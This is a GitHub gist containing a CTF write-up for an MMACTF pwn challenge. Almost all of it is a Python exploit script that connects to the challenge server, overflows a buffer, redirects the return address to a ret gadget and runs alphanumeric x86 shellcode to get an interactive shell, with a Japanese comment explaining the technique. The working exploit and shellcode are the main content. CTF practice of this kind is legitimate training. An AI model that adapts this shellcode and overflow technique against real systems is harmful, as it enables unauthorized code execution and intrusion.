Skip to content

Instantly share code, notes, and snippets.

@Ga-ryo
Created September 7, 2015 11:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Ga-ryo/cc916f5e8dbc3d04fa40 to your computer and use it in GitHub Desktop.
Save Ga-ryo/cc916f5e8dbc3d04fa40 to your computer and use it in GitHub Desktop.
MMACTF Writeup
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
#数字は無視されるよ
ascii_ret = 0x080a485a
shellcode = 'PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02'
"""
手元じゃ動かないけど,リモートだと3回目になぜか必ずPerfect!!となる.
Perfect!となると動きをちゃんと追いかけてないけどバッファオーバーフローでEIPが奪える(その前の入力の最後のほうがEIPに進入する)
ただ数字は無視されるわASCII以外はダメだわで面倒.というか有効なreturn addressがASCII範囲内に無い.
しょうがないので下3byteを書き換えてret命令にROPする.(改行コードが0xaなので残り2つを良い感じに調整した)
するとオーバーフロー成立時にはスタックTOPにPerfectとなる文字列へのポインタがあるのでそこにretする.
実行権がスタックにあるのでその文字列にはASCIIシェルコードをぶち込んでおけば実行されてちゃんちゃん
(localだとASCIIシェルコードはPerfect!にならないので攻撃が成立しない.)
"""
#HOST, PORT = "localhost", 4444
HOST, PORT = "pwn1.chal.mmactf.link", 38264
s, f = sock(HOST, PORT)
raw_input('debug')
buf = 'A'*4079
buf += 'ZH\n'
f.write(buf)
raw_input('debug2')
f.write('HOGE\n')
raw_input('debug3')
f.write(shellcode+'\n')
shell(s)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment